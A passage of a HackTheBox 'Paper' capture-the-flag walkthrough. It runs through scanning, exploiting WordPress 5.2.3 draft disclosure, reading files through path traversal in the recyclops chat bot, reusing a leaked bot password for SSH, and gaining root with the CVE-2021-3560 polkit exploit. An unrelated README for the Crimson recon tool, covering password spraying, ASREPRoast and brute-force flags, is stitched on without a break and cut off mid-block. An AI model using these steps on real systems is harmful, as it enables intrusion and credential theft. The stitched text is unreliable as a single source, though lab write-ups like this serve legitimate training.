commonName=localhost.localdomain/organizationName=Unspecified/countryName=US | Subject Alternative Name: DNS:localhost.localdomain | Not valid before: 2021-07-03T08:52:34 |_Not valid after: 2022-07-08T10:32:34 |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 | tls-alpn: |_ http/1.1 |_ssl-date: TLS randomness does not represent time ``` We have a an Apache webserver running on ports 80 and 443 in addition to SSH on port 22. Browsing to the website shows "HTTP Server Test Page powered by CentOS". ### Apache Directory bruteforcing doesn't provide any details: `gobuster dir -u http://10.10.11.143 -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt`., Couldn't find any vulnerabilties for the Apache/OpenSSL/PHP versions (`x-powered-by header: PHP/7.2.24`) being used. Running `nikto` with `nikto -h http://10.10.11.143` finds `Uncommon header 'x-backend-server' found, with contents: office.paper`. So, lets add that to the `/etc/hosts` file: `echo "10.10.11.143 office.paper" | sudo tee -a /etc/hosts`. ### Wordpress `office.paper` is a wordpress instance. Browsing around we find the page `http://office.paper/index.php/2021/06/19/feeling-alone/` with a comment saying "Michael, you should remove the secret content from your drafts ASAP, as they are not that secure as you think! -Nick," which indicates that there is information in drafted posts for us to find. Let's run `wpscan`: `wpscan --url http://office.paper`. ``` [+] Headers | Interesting Entries: | - Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 | - X-Powered-By: PHP/7.2.24 | - X-Backend-Server: office.paper | Found By: Headers (Passive Detection) | Confidence: 100% [+] WordPress readme found: http://office.paper/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] WordPress version 5.2.3 identified (Insecure, released on 2019-09-05). | Found By: Rss Generator (Passive Detection) | - http://office.paper/index.php/feed/, <generator>https://wordpress.org/?v=5.2.3</generator> | - http://office.paper/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.3</generator> | | [!] 31 vulnerabilities identified: | | [!] Title: WordPress <= 5.2.3 - Stored XSS in Customizer | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/d39a7b84-28b9-4916-a2fc-6192ceb6fa56 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17674 | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/ | - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html | | [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671 | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/ | - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html | - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308 | - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/ | | [!] Title: WordPress <= 5.2.3 - Stored XSS in Style Tags | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/d005b1f8-749d-438a-8818-21fba45c6465 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17672 | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/ | - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html | | [!] Title: WordPress <= 5.2.3 - JSON Request Cache Poisoning | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/7804d8ed-457a-407e-83a7-345d3bbe07b2 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17673 | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/ | - https://github.com/WordPress/WordPress/commit/b224c251adfa16a5f84074a3c0886270c9df38de | - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html | | [!] Title: WordPress <= 5.2.3 - Server-Side Request Forgery (SSRF) in URL Validation | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/26a26de2-d598-405d-b00c-61f71cfacff6 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17669 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17670 | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/ | - https://github.com/WordPress/WordPress/commit/9db44754b9e4044690a6c32fd74b9d5fe26b07b2 | - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html | | [!] Title: WordPress <= 5.2.3 - Admin Referrer Validation | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/715c00e3-5302-44ad-b914-131c162c3f71 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17675 | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/ | - https://github.com/WordPress/WordPress/commit/b183fd1cca0b44a92f0264823dd9f22d2fd8b8d0 | - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html | | [!] Title: WordPress <= 5.3 - Authenticated Improper Access Controls in REST API | Fixed in: 5.2.5 | References: | - https://wpscan.com/vulnerability/4a6de154-5fbd-4c80-acd3-8902ee431bd8 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20043 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16788 | - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-g7rg-hchx-c2gw | | [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Crafted Links | Fixed in: 5.2.5 | References: | - https://wpscan.com/vulnerability/23553517-34e3-40a9-a406-f3ffbe9dd265 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20042 | - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/ | - https://hackerone.com/reports/509930 | - https://github.com/WordPress/wordpress-develop/commit/1f7f3f1f59567e2504f0fbebd51ccf004b3ccb1d | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xvg2-m2f4-83m7 | | [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Block Editor Content | Fixed in: 5.2.5 | References: | - https://wpscan.com/vulnerability/be794159-4486-4ae1-a5cc-5c190e5ddf5f | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16781 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16780 | - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pg4x-64rh-3c9v | | [!] Title: WordPress <= 5.3 - wp_kses_bad_protocol() Colon Bypass | Fixed in: 5.2.5 | References: | - https://wpscan.com/vulnerability/8fac612b-95d2-477a-a7d6-e5ec0bb9ca52 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20041 | - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/ | - https://github.com/WordPress/wordpress-develop/commit/b1975463dd995da19bb40d3fa0786498717e3c53 | | [!] Title: WordPress < 5.4.1 - Password Reset Tokens Failed to Be Properly Invalidated | Fixed in: 5.2.6 | References: | - https://wpscan.com/vulnerability/7db191c0-d112-4f08-a419-a1cd81928c4e | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11027 | - https://wordpress.org/news/2020/04/wordpress-5-4-1/ | - https://core.trac.wordpress.org/changeset/47634/ | - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ww7v-jg8c-q6jw | | [!] Title: WordPress < 5.4.1 - Unauthenticated Users View Private Posts | Fixed in: 5.2.6 | References: | - https://wpscan.com/vulnerability/d1e1ba25-98c9-4ae7-8027-9632fb825a56 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11028 | - https://wordpress.org/news/2020/04/wordpress-5-4-1/ | - https://core.trac.wordpress.org/changeset/47635/ | - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xhx9-759f-6p2w | | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Customizer | Fixed in: 5.2.6 | References: | - https://wpscan.com/vulnerability/4eee26bd-a27e-4509-a3a5-8019dd48e429 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11025 | - https://wordpress.org/news/2020/04/wordpress-5-4-1/ | - https://core.trac.wordpress.org/changeset/47633/ | - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4mhg-j6fx-5g3c | | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Search Block | Fixed in: 5.2.6 | References: | - https://wpscan.com/vulnerability/e4bda91b-067d-45e4-a8be-672ccf8b1a06 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11030 | - https://wordpress.org/news/2020/04/wordpress-5-4-1/ | - https://core.trac.wordpress.org/changeset/47636/ | - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-vccm-6gmc-qhjh | | [!] Title: WordPress < 5.4.1 - Cross-Site Scripting (XSS) in wp-object-cache | Fixed in: 5.2.6 | References: | - https://wpscan.com/vulnerability/e721d8b9-a38f-44ac-8520-b4a9ed6a5157 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11029 | - https://wordpress.org/news/2020/04/wordpress-5-4-1/ | - https://core.trac.wordpress.org/changeset/47637/ | - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-568w-8m88-8g2c | | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in File Uploads | Fixed in: 5.2.6 | References: | - https://wpscan.com/vulnerability/55438b63-5fc9-4812-afc4-2f1eff800d5f | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11026 | - https://wordpress.org/news/2020/04/wordpress-5-4-1/ | - https://core.trac.wordpress.org/changeset/47638/ | - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-3gw2-4656-pfr2 | - https://hackerone.com/reports/179695 | | [!] Title: WordPress <= 5.2.3 - Hardening Bypass | Fixed in: 5.2.4 | References: | - https://wpscan.com/vulnerability/378d7df5-bce2-406a-86b2-ff79cd699920 | - https://blog.ripstech.com/2020/wordpress-hardening-bypass/ | - https://hackerone.com/reports/436928 | - https://wordpress.org/news/2019/11/wordpress-5-2-4-update/ | | [!] Title: WordPress < 5.4.2 - Authenticated XSS in Block Editor | Fixed in: 5.2.7 | References: | - https://wpscan.com/vulnerability/831e4a94-239c-4061-b66e-f5ca0dbb84fa | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4046 | - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rpwf-hrh2-39jf | - https://pentest.co.uk/labs/research/subtle-stored-xss-wordpress-core/ | - https://www.youtube.com/watch?v=tCh7Y8z8fb4 | | [!] Title: WordPress < 5.4.2 - Authenticated XSS via Media Files | Fixed in: 5.2.7 | References: | - https://wpscan.com/vulnerability/741d07d1-2476-430a-b82f-e1228a9343a4 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4047 | - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-8q2w-5m27-wm27 | | [!] Title: WordPress < 5.4.2 - Open Redirection | Fixed in: 5.2.7 | References: | - https://wpscan.com/vulnerability/12855f02-432e-4484-af09-7d0fbf596909 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4048 | - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/ | - https://github.com/WordPress/WordPress/commit/10e2a50c523cf0b9785555a688d7d36a40fbeccf | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-q6pw-gvf4-5fj5 | | [!] Title: WordPress < 5.4.2 - Authenticated Stored XSS via Theme Upload | Fixed in: 5.2.7 | References: | - https://wpscan.com/vulnerability/d8addb42-e70b-4439-b828-fd0697e5d9d4 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4049 | - https://www.exploit-db.com/exploits/48770/ | - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/ | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-87h4-phjv-rm6p | - https://hackerone.com/reports/406289 | | [!] Title: WordPress < 5.4.2 - Misuse of set-screen-option Leading to Privilege Escalation | Fixed in: 5.2.7 | References: | - https://wpscan.com/vulnerability/b6f69ff1-4c11-48d2-b512-c65168988c45 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4050 | - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/ | - https://github.com/WordPress/WordPress/commit/dda0ccdd18f6532481406cabede19ae2ed1f575d | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4vpv-fgg2-gcqc | | [!] Title: WordPress < 5.4.2 - Disclosure of Password-Protected Page/Post Comments | Fixed in: 5.2.7 | References: | - https://wpscan.com/vulnerability/eea6dbf5-e298-44a7-9b0d-f078ad4741f9 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25286 | - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/ | - https://github.com/WordPress/WordPress/commit/c075eec24f2f3214ab0d0fb0120a23082e6b1122 | | [!] Title: WordPress 4.7-5.7 - Authenticated Password Protected Pages Exposure | Fixed in: 5.2.10 | References: | - https://wpscan.com/vulnerability/6a3ec618-c79e-4b9c-9020-86b157458ac5 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29450 | - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/ | - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pmmh-2f36-wvhq | - https://core.trac.wordpress.org/changeset/50717/ | - https://www.youtube.com/watch?v=J2GXmxAdNWs | | [!] Title: WordPress 3.7 to 5.7.1 - Object Injection in PHPMailer | Fixed in: 5.2.11 | References: | - https://wpscan.com/vulnerability/4cd46653-4470-40ff-8aac-318bee2f998d | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36326 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19296 | - https://github.com/WordPress/WordPress/commit/267061c9595fedd321582d14c21ec9e7da2dcf62 | - https://wordpress.org/news/2021/05/wordpress-5-7-2-security-release/ | - https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9 | - https://www.wordfence.com/blog/2021/05/wordpress-5-7-2-security-release-what-you-need-to-know/ | - https://www.youtube.com/watch?v=HaW15aMzBUM | | [!] Title: WordPress < 5.8.2 - Expired DST Root CA X3 Certificate | Fixed in: 5.2.13 | References: | - https://wpscan.com/vulnerability/cc23344a-5c91-414a-91e3-c46db614da8d | - https://wordpress.org/news/2021/11/wordpress-5-8-2-security-and-maintenance-release/ | - https://core.trac.wordpress.org/ticket/54207 | | [!] Title: WordPress < 5.8 - Plugin Confusion | Fixed in: 5.8 | References: | - https://wpscan.com/vulnerability/95e01006-84e4-4e95-b5d7-68ea7b5aa1a8 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44223 | - https://vavkamil.cz/2021/11/25/wordpress-plugin-confusion-update-can-get-you-pwned/ | | [!] Title: WordPress < 5.8.3 - SQL Injection via WP_Query | Fixed in: 5.2.14 | References: | - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21661 | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84 | - https://hackerone.com/reports/1378209 | | [!] Title: WordPress < 5.8.3 - Author+ Stored XSS via Post Slugs | Fixed in: 5.2.14 | References: | - https://wpscan.com/vulnerability/dc6f04c2-7bf2-4a07-92b5-dd197e4d94c8 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21662 | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-699q-3hj9-889w | - https://hackerone.com/reports/425342 | - https://blog.sonarsource.com/wordpress-stored-xss-vulnerability | | [!] Title: WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query | Fixed in: 5.2.14 | References: | - https://wpscan.com/vulnerability/24462ac4-7959-4575-97aa-a6dcceeae722 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21664 | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jp3p-gw8h-6x86 | | [!] Title: WordPress < 5.8.3 - Super Admin Object Injection in Multisites | Fixed in: 5.2.14 | References: | - https://wpscan.com/vulnerability/008c21ab-3d7e-4d97-b6c3-db9d83f390a7 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21663 | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jmmq-m8p8-332h | - https://hackerone.com/reports/541469 [+] WordPress theme in use: construction-techup | Location: http://office.paper/wp-content/themes/construction-techup/ | Last Updated: 2021-07-17T00:00:00.000Z | Readme: http://office.paper/wp-content/themes/construction-techup/readme.txt | [!] The version is out of date, the latest version is 1.4 | Style URL: http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1 | Style Name: Construction Techup | Description: Construction Techup is child theme of Techup a Free WordPress Theme useful for Business, corporate a... | Author: wptexture | Author URI: https://testerwp.com/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.1 (80% confidence) | Found By: Style (Passive Detection) | - http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1, Match: 'Version: 1.1' [+] Enumerating All Plugins (via Passive Methods) [i] No plugins Found. [+] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups - Time: 00:00:00 <==========================================> (137 / 137) 100.00% Time: 00:00:00 [i] No Config Backups Found. ``` Based on the comment we found, it looks like "WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts" is going to be the exploit we want to use. Navigating to [wpscan.com link](https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2), we see a proof of concept, `http://wordpress.local/?static=1&order=asc`. However, this didn't work. Exploring another [linked page that goes into more detail](https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/), we see that just using `http://wordpress.local/?static=1` should work. Navigating to `http://office.paper/?static=1` we see the below post: ``` test Micheal please remove the secret from drafts for gods sake! Hello employees of Blunder Tiffin, Due to the orders from higher officials, every employee who were added to this blog is removed and they are migrated to our new chat system. So, I kindly request you all to take your discussions from the public blog to a more private chat system. -Nick # Warning for Michael Michael, you have to stop putting secrets in the drafts. It is a huge security issue and you have to stop doing it. -Nick Threat Level Midnight A MOTION PICTURE SCREENPLAY, WRITTEN AND DIRECTED BY MICHAEL SCOTT [INT:DAY] Inside the FBI, Agent Michael Scarn sits with his feet up on his desk. His robotic butler Dwigt…. # Secret Registration URL of new Employee chat system http://chat.office.paper/register/8qozr226AhkCHZdyY # I am keeping this draft unpublished, as unpublished drafts cannot be accessed by outsiders. I am not that ignorant, Nick. # Also, stop looking at my drafts. Jeez! ``` We have discoverd a new subdomain. Let's add it to `/etc/hosts`: `echo "10.10.11.143 chat.office.paper" | sudo tee -a /etc/hosts`. ### Rocket.chat Navigating to `http://chat.office.paper` reveals a [rocket.chat](https://rocket.chat/) instance. Going to the "Secret Registration URL", `http://chat.office.paper/register/8qozr226AhkCHZdyY`, shows a registration page. After signing up we see the rocket.chat interface. We can click the globe icon in the top left to see a directory of channels we can join. The general channel has messages about how a bot, "recyclops," was recently added. We can direct message the bot to interaction with it. Running the `recyclops help` command lists the available commands. ## Foothold Interactions with the `recyclops` bot to find some useful information: ``` $ recyclops list sale total 4 drwxr-xr-x 2 dwight dwight 27 Sep 15 13:03 . drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 .. -rw-r--r-- 1 dwight dwight 158 Sep 15 13:03 portfolio.txt $ recyclops file sale/portfolio.txt <!=====Contents of file sale/portfolio.txt=====> Portfolio ---------- - Bill - Served the country in war - Family built the country - purchased paper worth a million dollars - will probably fire me. <!=====End of file sale/portfolio.txt=====> $ recyclops list . total 0 drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 . drwx------ 11 dwight dwight 281 Feb 6 07:46 .. drwxr-xr-x 2 dwight dwight 27 Sep 15 13:03 sale drwxr-xr-x 2 dwight dwight 27 Jul 3 2021 sale_2 $ recyclops list sale_2 total 4 drwxr-xr-x 2 dwight dwight 27 Jul 3 2021 . drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 .. -rw-r--r-- 1 dwight dwight 113 Jul 3 2021 portfolio.txt $ recyclops file sale_2/portfolio.txt <!=====Contents of file sale_2/portfolio.txt=====> Portfolio ---------- - Christian - Still No idea how micheal made the sale! - Need further clarifications. <!=====End of file sale_2/portfolio.txt=====> $ recyclops list .. total 32 drwx------ 11 dwight dwight 281 Feb 6 07:46 . drwxr-xr-x. 3 root root 20 Jan 14 06:50 .. lrwxrwxrwx 1 dwight dwight 9 Jul 3 2021 .bash_history -> /dev/null -rw-r--r-- 1 dwight dwight 18 May 10 2019 .bash_logout -rw-r--r-- 1 dwight dwight 141 May 10 2019 .bash_profile -rw-r--r-- 1 dwight dwight 358 Jul 3 2021 .bashrc -rwxr-xr-x 1 dwight dwight 1174 Sep 16 06:58 bot_restart.sh drwx------ 5 dwight dwight 56 Jul 3 2021 .config -rw------- 1 dwight dwight 16 Jul 3 2021 .esd_auth drwx------ 2 dwight dwight 44 Jul 3 2021 .gnupg drwx------ 8 dwight dwight 4096 Sep 16 07:57 hubot -rw-rw-r-- 1 dwight dwight 18 Sep 16 07:24 .hubot_history drwx------ 3 dwight dwight 19 Jul 3 2021 .local drwxr-xr-x 4 dwight dwight 39 Jul 3 2021 .mozilla drwxrwxr-x 5 dwight dwight 83 Jul 3 2021 .npm drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 sales drwx------ 2 dwight dwight 6 Sep 16 08:56 .ssh -r-------- 1 dwight dwight 33 Feb 14 21:05 user.txt drwxr-xr-x 2 dwight dwight 24 Sep 16 07:09 .vim $ recyclops file ../bot_restart.sh <!=====Contents of file ../bot_restart.sh=====> #!/bin/bash # Cleaning hubot's log so that it won't grow too large. echo "" > /home/dwight/hubot/.hubot.log # For starting the bot 20-ish (10+20) seconds late, when the server is restarted. # This is because MongoDB and Rocket-Chat server needs some time to startup properly sleep 10s # Checks if Hubot is running every 10s while [ 1 ]; do sleep 20s alive=$(/usr/sbin/ss -tulnp|grep 8000); if [[ -n $alive ]]; then err=$(grep -i 'unhandled-rejections=strict' /home/dwight/hubot/.hubot.log) if [[ -n $err ]]; then # Restarts bot echo "[-] Bot not running! date"; #Killing the old process pid=$(ps aux|grep -i 'hubot -a rocketchat'|grep -v grep|cut -d " " -f6); kill -9 $pid; cd /home/dwight/hubot; # Cleaning hubot's log so that it won't grow too large. echo "" > /home/dwight/hubot/.hubot.log bash /home/dwight/hubot/start_bot.sh& else echo "[+] Bot running succesfully! date"; fi else # Restarts bot echo "[-] Bot not running! date "; #Killing the old process pid=$(ps aux|grep -i 'hubot -a rocketchat'|grep -v grep|cut -d " " -f6); kill -9 $pid; cd /home/dwight/hubot; bash /home/dwight/hubot/start_bot.sh& fi done <!=====End of file ../bot_restart.sh=====> $ recyclops file ../.hubot_history !=====Contents of file ../.hubot_history=====> time connect help <!=====End of file ../.hubot_history=====> $ recyclops file ../hubot/start_bot.sh <!=====Contents of file ../hubot/start_bot.sh=====> #!/bin/bash cd /home/dwight/hubot source /home/dwight/hubot/.env /home/dwight/hubot/bin/hubot #cd - <!=====End of file ../hubot/start_bot.sh=====> $ recyclops file ../hubot/.env <!=====Contents of file ../hubot/.env=====> export ROCKETCHAT_URL='http://127.0.0.1:48320' export ROCKETCHAT_USER=recyclops export ROCKETCHAT_PASSWORD=Queenofblad3s!23 export ROCKETCHAT_USESSL=false export RESPOND_TO_DM=true export RESPOND_TO_EDITED=true export PORT=8000 export BIND_ADDRESS=127.0.0.1 <!=====End of file ../hubot/.env=====> ``` ## Lateral Movement As you can see, running `recyclops file ../hubot/.env` gives us a password of `Queenofblad3s!23`. Using that password to SSH into the box as the user `dwight` (since that name has been mentioned a lot and it is the user whose file we have been browsing) works. We can now `cat user.txt` and get the user flag. ## Privilege Escalation Connect with [calebstewart/pwncat](https://github.com/calebstewart/pwncat) with `pwncat-cs [email protected]`. Pwncat's built-in escalation techniques (`escalate list -u root`) do not work. Upload [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) to the box with `upload linpeas.sh`. Then, run LinPEAS with `bash linpeas.sh` LinPEAS immediately tells us that the installed version of `sudo` is vulnerable to `CVE-2021-3560`. I initially read `CVE-2021-3560` as `CVE-2021-4034`, which are both polkit local privilege escalation vulnerabilities. `CVE-2021-4034` is a [very recent exploit](https://access.redhat.com/security/cve/CVE-2021-4034) ([disclosed to public on January 25th, 2022](https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034)) and I thought it unlikely to be the intended solution because it is so new. Downloading [berdav/CVE-2021-4034](https://github.com/berdav/CVE-2021-4034) as a ZIP file, copying the file over, unzipping it, running `make` in the directory, and then executing `./cve-2021-4034` doesn't work: ``` GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT” pkexec must be setuid root ``` If we run `ls -la /usr/bin/pkexec` we can see that the permissions are `-rwxr-xr-x` not `-rwsr-xr-x`. The [older polkit local privilege escalation exploit](https://access.redhat.com/security/cve/cve-2021-3560), `CVE-2021-3560` ([Official blog post by person who discovered exploit](https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)), is the one that LinPEAS recommended and it does work. Searching GitHub for this CVE finds several repositories, but after trying several, [secnigma/CVE-2021-3560-Polkit-Privilege-Esclation](https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation) seems to work the best at the time of writing. [Download the script](https://raw.githubusercontent.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation/main/poc.sh), upload it to the target machine, and then run it like so: `./poc.sh -u=john -p=john`. Then, run `su - john` to switch to the new user and execute `sudo bash` to get a root shell. I was able to get this root shell after running the script for the third time. Finally, `cat /root/root.txt` to get the root flag.
# Crimson v3 > Crimson is a tool that automates `ASSET DISCOVERY` and `VULNERABILITY SCANNING`. > The container is built on top of the Kali distro. <p align="center"> <img src="crimson_logo.png" /> </p> #### It consists of fourth partially interdependent modules: * `crimson_IPcon` - tests the single IP or range of IP addresses. Automates the process of infrastructure reconnaissance & vulnerability scanning. * `crimson_recon` - tests the single domain. Automate the infrastructure reconnaissance process, subdomains enumeration, and vulnerability scanning if you . * `crimson_target` - tests single web application. Automates the process of a single-domain reconnaissance and vulnerability scanning. * `crimson_exploit` - automates the process of bug founding in gathered URLs. # Installation & running 1. Pull docker container: ``` docker pull karmaz95/crimson:v3 ``` 2. First run of downloaded container: ``` docker run --net="host" --name crimson -it karmaz95/crimson:v3 ``` 3. After the first run, you can start the container by: ``` docker start crimson && docker attach crimson ``` 4. If you need to copy output from the container: ``` docker cp crimson:/root/bounty/domain.name LOCAL_DEST_PATH ``` # Usage > Commands issued inside a docker container. ## :diamonds: crimson_IPcon :diamonds: #### :diamonds: Module zero needs `IP ADDRESS` or `list_with_ip.txt` :diamonds: ```bash # The most optimal use: c_0 -l ip.txt -t -u -p -k '' -v -b ``` ```bash crimson_IPcon -i IPADDRESS # Optional flags are shown below: -l ip.txt # Only IPs, one per line. -o /root/bounty/ # The default directory is /root/bounty/$(date +%Y_%m_%d_%H_%M) -t # TCP SCAN ON (FULL RANGE) -u # UDP SCAN ON (TOP 1000 PORTS) -p # PING SWEEP ON -k '' # 1. user enum # 2. pass spraying # 3. ASREPROAST (no pass) -v # VULNERABILITY SCANNING -b # BRUTE FORCE ``` * Check the [MEDIUM ARTICLE](https://karol-mazurek95.medium.com/crimson-appsec-firearm-iv-6bca2dd2e80d), which explains the `crimson_IPcon` module deeper. ## :diamonds: crimson_recon :diamonds: #### :diamonds: First module needs `domain name` :diamonds: ```bash # The most optimal use (-x for domain bruteforcing): c_1 -d "DOMAIN" -v -x ``` ```bash crimson_recon -d "domain.com" # Optional flags are shown below: -x # Domain brute-forcing -v # Virtual host discovering -b # Third-level subdomain brute-forcing -y # Proxy urls.txt and live.txt to Burp (127.0.0.1:8080) -j "burp.collaborator.domain" # Scan for log4j vulnerability on all URLs & live domains ``` * Check the [MEDIUM ARTICLE](https://karol-mazurek95.medium.com/crimson-appsec-firearm-i-bc242a2a910), which explains the `crimson_recon` module deeper. ## :diamonds: crimson_target :diamonds: #### :diamonds: Second module needs `subdomain name` :diamonds: ```bash # The 